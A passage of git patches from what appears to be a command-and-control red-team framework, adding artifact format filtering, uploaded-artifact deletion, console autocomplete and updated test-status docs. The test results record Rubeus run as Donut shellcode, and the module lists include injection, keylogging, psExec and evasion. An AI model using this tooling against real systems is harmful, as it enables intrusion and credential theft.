diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.hpp b/teamServer/teamServer/TeamServerArtifactCatalog.hpp index 3b5a9c4..3844fa9 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.hpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.hpp @@ -15,6 +15,7 @@ struct TeamServerArtifactQuery std::string arch; std::string runtime; std::string nameContains; + std::string format; }; struct TeamServerArtifactRecord diff --git a/teamServer/teamServer/TeamServerArtifactService.cpp b/teamServer/teamServer/TeamServerArtifactService.cpp index 9fd8a6e..53d17cf 100644 --- a/teamServer/teamServer/TeamServerArtifactService.cpp +++ b/teamServer/teamServer/TeamServerArtifactService.cpp @@ -24,6 +24,7 @@ grpc::Status TeamServerArtifactService::listArtifacts( catalogQuery.arch = query.arch(); catalogQuery.runtime = query.runtime(); catalogQuery.nameContains = query.name_contains(); + catalogQuery.format = query.format(); const std::vector artifacts = m_catalog.listArtifacts(catalogQuery); m_logger->debug("ListArtifacts returned {0} artifact(s)", artifacts.size()); diff --git a/teamServer/teamServer/TeamServerCommandCatalog.cpp b/teamServer/teamServer/TeamServerCommandCatalog.cpp index 62fe194..341fc83 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.cpp @@ -99,6 +99,7 @@ TeamServerCommandArtifactFilter parseArtifactFilter(const json& input) filter.arch = jsonString(input, "arch"); filter.runtime = jsonString(input, "runtime"); filter.nameContains = jsonString(input, "name_contains"); + filter.format = jsonString(input, "format"); return filter; } diff --git a/teamServer/teamServer/TeamServerCommandCatalog.hpp b/teamServer/teamServer/TeamServerCommandCatalog.hpp index 356bf01..7fb7c65 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.hpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.hpp @@ -14,6 +14,7 @@ struct TeamServerCommandArtifactFilter std::string arch; std::string runtime; std::string nameContains; + std::string format; }; struct TeamServerCommandArgSpec diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.cpp b/teamServer/teamServer/TeamServerCommandCatalogService.cpp index bd32400..5fcc58c 100644 --- a/teamServer/teamServer/TeamServerCommandCatalogService.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalogService.cpp @@ -72,6 +72,7 @@ teamserverapi::CommandSpec TeamServerCommandCatalogService::toProto(const TeamSe filter->set_arch(arg.artifactFilter.arch); filter->set_runtime(arg.artifactFilter.runtime); filter->set_name_contains(arg.artifactFilter.nameContains); + filter->set_format(arg.artifactFilter.format); } for (const TeamServerCommandArtifactFilter& artifactFilter : arg.artifactFilters) @@ -84,6 +85,7 @@ teamserverapi::CommandSpec TeamServerCommandCatalogService::toProto(const TeamSe filter->set_arch(artifactFilter.arch); filter->set_runtime(artifactFilter.runtime); filter->set_name_contains(artifactFilter.nameContains); + filter->set_format(artifactFilter.format); } } diff --git a/teamServer/teamServer/TeamServerHelpService.cpp b/teamServer/teamServer/TeamServerHelpService.cpp index 5a457db..2c38550 100644 --- a/teamServer/teamServer/TeamServerHelpService.cpp +++ b/teamServer/teamServer/TeamServerHelpService.cpp @@ -72,6 +72,8 @@ void appendArtifactFilter(std::ostringstream& output, const TeamServerCommandArt parts.push_back("arch=" + filter.arch); if (!filter.runtime.empty()) parts.push_back("runtime=" + filter.runtime); + if (!filter.format.empty()) + parts.push_back("format=" + filter.format); if (!filter.nameContains.empty()) parts.push_back("name_contains=" + filter.nameContains); diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index 163ff2d..0d82d11 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -218,6 +218,20 @@ void testCatalogFiltersArtifacts() assert(artifacts.size() == 1); assert(artifacts[0].name == "batcave.zip"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "Rubeus.exe", "dotnet-tool"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "assemblyExec-Rubeus.exe.bin", "generated-shellcode"); + + TeamServerArtifactQuery exeToolQuery; + exeToolQuery.category = "tool"; + exeToolQuery.platform = "windows"; + exeToolQuery.arch = "x64"; + exeToolQuery.format = "exe"; + exeToolQuery.nameContains = ".exe"; + artifacts = catalog.listArtifacts(exeToolQuery); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "Rubeus.exe"); + assert(artifacts[0].format == "exe"); + TeamServerArtifactQuery linuxModules; linuxModules.category = "module"; linuxModules.platform = "linux"; diff --git a/teamServer/tests/TeamServerCommandCatalogTests.cpp b/teamServer/tests/TeamServerCommandCatalogTests.cpp index ff6973f..ac028f8 100644 --- a/teamServer/tests/TeamServerCommandCatalogTests.cpp +++ b/teamServer/tests/TeamServerCommandCatalogTests.cpp @@ -94,6 +94,7 @@ void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) "platform": "windows", "arch": "any", "runtime": "any", + "format": "exe", "name_contains": ".exe" } } @@ -268,6 +269,7 @@ void testCommandCatalogServiceStreamsProto() assert(commands[0].args(0).artifact_filter().platform() == "windows"); assert(commands[0].args(0).artifact_filter().arch() == "any"); assert(commands[0].args(0).artifact_filter().runtime() == "any"); + assert(commands[0].args(0).artifact_filter().format() == "exe"); assert(commands[0].args(0).artifact_filter().name_contains() == ".exe"); assert(commands[0].args(0).artifact_filters_size() == 1); assert(commands[0].args(0).artifact_filters(0).category() == "tool"); From 2237995af405f450e0ac42625f6f4ec5649c2062 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 7 May 2026 20:30:13 +0200 Subject: [PATCH 52/82] manual test --- docs/TEST_GAPS.md | 1 - docs/TEST_MATRIX.md | 2 +- docs/TEST_STATE.md | 7 +++---- docs/testing/manual-results.yaml | 6 +++--- 4 files changed, 7 insertions(+), 9 deletions(-) diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 5d9d6ba..8cc08d8 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -6,7 +6,6 @@ _Generated by `scripts/generate-test-state.py`._ |---|---|---|---|---|---|---|---| | fail | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | Emit recurring chunks for large results and finish with a single success response. | pass | fail | | fail | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state. | pass | fail | -| fail | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon. | pass | fail | | fail | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | Prepare upload/download paths, write chunked command results, and keep command context until final success. | pass | fail | | fail | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | Delete uploaded, generated, and hosted artifacts using artifact IDs, not legacy terminal paths. | pass | fail | | fail | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines. | pass | fail | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 8695008..78b16e7 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -54,7 +54,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | pass | untested | -| fail | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | fail | +| pass | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | pass | | pass | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | pass | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index f9ac7ae..966f397 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,8 +10,8 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 29 | -| fail | 6 | +| pass | 30 | +| fail | 5 | | blocked | 1 | | partial | 68 | | untested | 7 | @@ -35,7 +35,7 @@ _Generated by `scripts/generate-test-state.py`._ | C2Client | 6 | 3 | 0 | 11 | 0 | 1 | 21 | | CommonCommands | 3 | 0 | 0 | 4 | 0 | 0 | 7 | | Listeners | 1 | 0 | 0 | 1 | 4 | 0 | 6 | -| Modules | 9 | 1 | 0 | 41 | 0 | 1 | 52 | +| Modules | 10 | 0 | 0 | 41 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | | TeamServer | 4 | 1 | 0 | 7 | 0 | 0 | 12 | | Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | @@ -46,7 +46,6 @@ _Generated by `scripts/generate-test-state.py`._ |---|---|---|---|---|---| | fail | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | pass | fail | | fail | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | pass | fail | -| fail | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | pass | fail | | fail | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | pass | fail | | blocked | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | blocked | | partial | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | pass | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 25ad8da..fce3d2c 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -242,12 +242,12 @@ results: notes: "Windows script artifact resolution is validated for the powershell module path." - id: MODULE-ASSEMBLYEXEC-CONTRACT-001 - status: fail + status: pass date: "2026-05-07" build: "local-dev" tester: "max" - evidence: "assemblyExec --donut-exe Rubeus.exe -- triage executed correctly in process modes and returned the expected output. The -- continuation was autocompleted correctly. assemblyExec --raw 3e337fc3d150-assemblyExec-Rubeus.exe.bin also executed correctly and returned Rubeus output. assemblyExec --donut-dll rdm.dll --method go -- test returned the expected Donut error for a .NET DLL missing class/method metadata. assemblyExec --mode thread --donut-exe Rubeus.exe -- triage completed without returning output, unlike the process modes." - notes: "Process and raw generated-shellcode paths are valid, but thread mode output capture needs retest after the StdCapture/Win32 stdout redirection fix." + evidence: "assemblyExec --donut-exe Rubeus.exe -- triage executed correctly in process, processWithSpoofedParent, and thread modes after the StdCapture/Win32 stdout redirection fix. The -- continuation was autocompleted correctly. assemblyExec --raw 3e337fc3d150-assemblyExec-Rubeus.exe.bin also executed correctly and returned Rubeus output. assemblyExec --donut-dll rdm.dll --method go -- test returned the expected Donut error for a .NET DLL missing class/method metadata." + notes: "Functional execution, argument preservation, generated shellcode creation, raw generated shellcode reuse, and all three execution modes are validated. Raw by artifact ID is not expected to work yet for this command path." - id: C2CLIENT-CONSOLE-AUTOCOMPLETE-001 status: fail From ca367458e812b4cd067e7fa8d3e5398919612d5c Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 14:45:45 +0200 Subject: [PATCH 53/82] manual test --- C2Client/C2Client/ArtifactPanel.py | 8 ++- C2Client/C2Client/ConsolePanel.py | 21 +++++++ C2Client/tests/test_artifact_panel.py | 42 +++++++++++++ C2Client/tests/test_console_panel.py | 25 +++++++- core | 2 +- docs/TEST_GAPS.md | 8 --- docs/TEST_MATRIX.md | 16 ++--- docs/TEST_STATE.md | 20 +++--- docs/testing/manual-results.yaml | 62 +++++++++++++------ protocol/TeamServerApi.proto | 1 + .../teamServer/TeamServerArtifactCatalog.cpp | 43 ++++++++++++- .../teamServer/TeamServerCommandCatalog.cpp | 1 + .../teamServer/TeamServerCommandCatalog.hpp | 1 + .../TeamServerCommandCatalogService.cpp | 2 + .../teamServer/TeamServerCommandTracking.hpp | 1 + .../TeamServerListenerSessionService.cpp | 11 +++- .../tests/TeamServerArtifactCatalogTests.cpp | 24 +++++++ .../tests/TeamServerCommandCatalogTests.cpp | 5 ++ .../TeamServerListenerSessionServiceTests.cpp | 2 - 19 files changed, 236 insertions(+), 59 deletions(-) diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py index 2f0c8b2..bf1d8ee 100644 --- a/C2Client/C2Client/ArtifactPanel.py +++ b/C2Client/C2Client/ArtifactPanel.py @@ -131,7 +131,7 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: self.downloadButton.clicked.connect(self.downloadSelectedArtifactToClient) self.copyIdButton = self.createToolbarButton("Copy ID", "Copy selected artifact id.", width=72) self.copyIdButton.clicked.connect(self.copySelectedArtifactId) - self.deleteButton = self.createToolbarButton("Delete", "Delete selected generated or hosted artifact.", width=72) + self.deleteButton = self.createToolbarButton("Delete", "Delete selected generated, hosted, or uploaded artifact.", width=72) self.deleteButton.clicked.connect(self.deleteSelectedArtifact) toolbar.addWidget(QLabel("Category")) @@ -338,7 +338,9 @@ def selectedArtifactId(self) -> str: def isDeletableArtifact(self, artifact: Any | None) -> bool: if artifact is None: return False - return _text(_field(artifact, "scope")).lower() == "generated" + category = _text(_field(artifact, "category")).lower() + scope = _text(_field(artifact, "scope")).lower() + return scope == "generated" or (category == "upload" and scope == "operator") def selectedUploadTarget(self) -> tuple[str, str]: return ( @@ -431,7 +433,7 @@ def deleteSelectedArtifact(self) -> None: apply_status(self.statusLabel, "Artifacts: select an artifact first.", StatusKind.ERROR) return if not self.isDeletableArtifact(artifact): - apply_status(self.statusLabel, "Artifacts: only generated or hosted artifacts can be deleted.", StatusKind.ERROR) + apply_status(self.statusLabel, "Artifacts: only generated, hosted, or uploaded artifacts can be deleted.", StatusKind.ERROR) return name = _text(_field(artifact, "display_name")) or _text(_field(artifact, "name")) or artifact_id diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 0db3e38..6c7622c 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -334,6 +334,16 @@ def _add_arg_completions( _add_artifact_completions(children, grpcClient, arg, session, command_name) first_positional_done = True + for arg in args: + for parent in _arg_completion_parents(arg): + _add_completion_path(children, [parent]) + parent_entry = _find_entry(children, parent) + if parent_entry is None: + continue + for value in getattr(arg, "values", []): + _add_completion_value(parent_entry[1], value) + _add_artifact_completions(parent_entry[1], grpcClient, arg, session, command_name) + def _normalized_module_name(value: Any) -> str: name = os.path.basename(str(value or "").strip()) @@ -433,6 +443,17 @@ def _arg_has_artifact_filter(arg: Any) -> bool: return bool(_artifact_filters_for_arg(arg)) +def _arg_completion_parents(arg: Any) -> list[str]: + try: + parents = getattr(arg, "completion_parents", []) + except Exception: + return [] + try: + return _dedupe_values([str(parent).strip() for parent in parents if str(parent).strip()]) + except TypeError: + return [] + + def _artifact_query_from_filter(artifact_filter: Any, session: Any | None) -> Any: query = TeamServerApi_pb2.ArtifactQuery() for field_name in ("category", "scope", "target", "platform", "arch", "runtime", "name_contains", "format"): diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py index c6f2962..0195086 100644 --- a/C2Client/tests/test_artifact_panel.py +++ b/C2Client/tests/test_artifact_panel.py @@ -112,6 +112,8 @@ def deleteArtifact(self, artifact_id): for artifact in self.artifacts: if artifact.artifact_id == artifact_id and artifact.category == "hosted": message = "Hosted artifact deleted." + if artifact.artifact_id == artifact_id and artifact.category == "upload": + message = "Uploaded artifact deleted." self.artifacts = [ artifact for artifact in self.artifacts if artifact.artifact_id != artifact_id @@ -271,6 +273,46 @@ def test_artifacts_panel_deletes_hosted_artifacts(qtbot, monkeypatch): assert panel.statusLabel.text() == "Artifacts: Hosted artifact deleted." +def test_artifacts_panel_deletes_uploaded_artifacts(qtbot, monkeypatch): + grpc = FakeGrpc() + grpc.artifacts.append(SimpleNamespace( + artifact_id="artifact-upload-1", + name="operator-note.txt", + display_name="operator-note.txt", + category="upload", + scope="operator", + target="beacon", + platform="windows", + arch="x64", + runtime="file", + format="txt", + source="operator", + size=5, + sha256="f" * 64, + description="Uploaded note.", + )) + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + panel.categoryFilter.setCurrentText("upload") + assert panel.artifactTable.rowCount() == 1 + assert panel.artifactTable.item(0, 1).text() == "operator" + + monkeypatch.setattr( + QMessageBox, + "question", + lambda *args, **kwargs: QMessageBox.StandardButton.Yes, + ) + panel.artifactTable.selectRow(0) + assert panel.deleteButton.isEnabled() + panel.deleteButton.click() + + assert grpc.deleted == ["artifact-upload-1"] + assert panel.artifactTable.rowCount() == 0 + assert panel.statusLabel.text() == "Artifacts: Uploaded artifact deleted." + + def test_artifacts_panel_downloads_and_uploads_files(qtbot, monkeypatch, tmp_path): grpc = FakeGrpc() parent = QWidget() diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index b3beb64..d5ee70a 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -491,10 +491,29 @@ def listArtifacts(self, query): SimpleNamespace(name="-s", type="flag", values=[], artifact_filter=powershell_filter), ], ) + pwsh_spec = SimpleNamespace( + name="pwSh", + kind="module", + examples=["pwSh script PowerView.ps1"], + args=[ + SimpleNamespace( + name="action", + type="enum", + values=["init", "run", "import", "script"], + ), + SimpleNamespace( + name="command_or_script", + type="text", + values=[], + artifact_filter=powershell_filter, + completion_parents=["import", "script"], + ), + ], + ) grpc = FakeGrpc() session = SimpleNamespace(os="Linux", arch="x64") - server_data = command_specs_to_completer_data([script_spec, powershell_spec], grpcClient=grpc, session=session) + server_data = command_specs_to_completer_data([script_spec, powershell_spec, pwsh_spec], grpcClient=grpc, session=session) script_children = _completion_children(server_data, "script") assert ("cleanup.sh", []) in script_children @@ -502,6 +521,10 @@ def listArtifacts(self, query): powershell_children = _completion_children(server_data, "powershell") assert _completion_children(powershell_children, "-i") assert ("PowerView.ps1", []) in _completion_children(powershell_children, "-s") + pwsh_children = _completion_children(server_data, "pwSh") + assert ("PowerView.ps1", []) in _completion_children(pwsh_children, "script") + assert ("PowerView.ps1", []) in _completion_children(pwsh_children, "import") + assert not _completion_children(pwsh_children, "run") assert grpc.queries[0].category == "script" assert grpc.queries[0].platform == "linux" assert grpc.queries[1].platform == "windows" diff --git a/core b/core index 8437119..756a06a 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 84371191a2890fa4b4dd8d14efbf6d39f236af09 +Subproject commit 756a06a5ceeb0f3eb8d13a62f8365e5f4d668353 diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 8cc08d8..d3e6903 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -4,19 +4,11 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| -| fail | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | Emit recurring chunks for large results and finish with a single success response. | pass | fail | -| fail | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state. | pass | fail | -| fail | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | Prepare upload/download paths, write chunked command results, and keep command context until final success. | pass | fail | -| fail | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | Delete uploaded, generated, and hosted artifacts using artifact IDs, not legacy terminal paths. | pass | fail | -| fail | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines. | pass | fail | | blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | | partial | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | Release scripts place files under the canonical data layout with platform and arch subfolders. | pass | untested | | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | -| partial | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | Update last seen, stale state, listener proof of life, and reconnect behavior. | pass | untested | | partial | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | Start python3 -m C2Client.GUI without crashing and create non-closable core tabs. | pass | untested | | partial | critical | `COMMON-HELP-001` | CommonCommands | help | List commands and show command-specific help from CommandSpec. | pass | untested | -| partial | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | Prepare shellcode payload from tools/beacons/raw, support pid/spawn modes, autocomplete payload and args, and execute on Windows beacon. | pass | untested | -| partial | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | Load fixed rdm.dll from Tools/Any/any and execute/import PowerShell runner commands. | pass | untested | | partial | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source. | pass | untested | | partial | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | pass | untested | | partial | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results. | pass | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 78b16e7..74438ae 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -9,19 +9,19 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | pass | pass | | partial | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | pass | untested | | pass | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | pass | pass | -| fail | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | pass | fail | -| partial | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | pass | untested | +| pass | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | pass | pass | +| pass | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | any | any | any | modules | pass | pass | | pass | auto+manual | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | any | any | any | n/a | pass | pass | -| fail | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | pass | fail | +| pass | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | pass | pass | | pass | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | pass | pass | | pass | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | pass | pass | | pass | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | pass | pass | | partial | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | pass | untested | -| fail | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | pass | fail | +| pass | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | pass | pass | | pass | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | pass | n/a | -| fail | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | fail | +| pass | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | pass | | planned | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | client | n/a | n/a | n/a | n/a | n/a | | partial | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | pass | untested | | partial | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | pass | untested | @@ -67,7 +67,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | any | any | https | n/a | pass | untested | -| partial | auto+manual | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | windows | x64 | https | generated | pass | untested | +| pass | auto+manual | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | windows | x64 | https | generated | pass | pass | | partial | auto+manual | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | any | any | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | windows | x64 | https | uploaded | pass | untested | | partial | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | pass | untested | @@ -81,7 +81,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | pass | pass | | partial | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | pass | untested | -| partial | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | pass | untested | +| pass | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | pass | pass | | partial | auto+manual | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | any | any | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | pass | untested | @@ -105,7 +105,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | pass | untested | | pass | auto | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | teamserver | n/a | n/a | command_specs | pass | n/a | | pass | auto | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | teamserver | any | any | any | pass | n/a | -| fail | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | pass | fail | +| pass | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | pass | pass | | pass | auto | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | teamserver | any | n/a | generated | pass | n/a | | pass | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | pass | pass | | partial | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | pass | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 966f397..3252855 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,10 +10,10 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 30 | -| fail | 5 | +| pass | 38 | +| fail | 0 | | blocked | 1 | -| partial | 68 | +| partial | 65 | | untested | 7 | | planned | 2 | @@ -31,30 +31,24 @@ _Generated by `scripts/generate-test-state.py`._ | Area 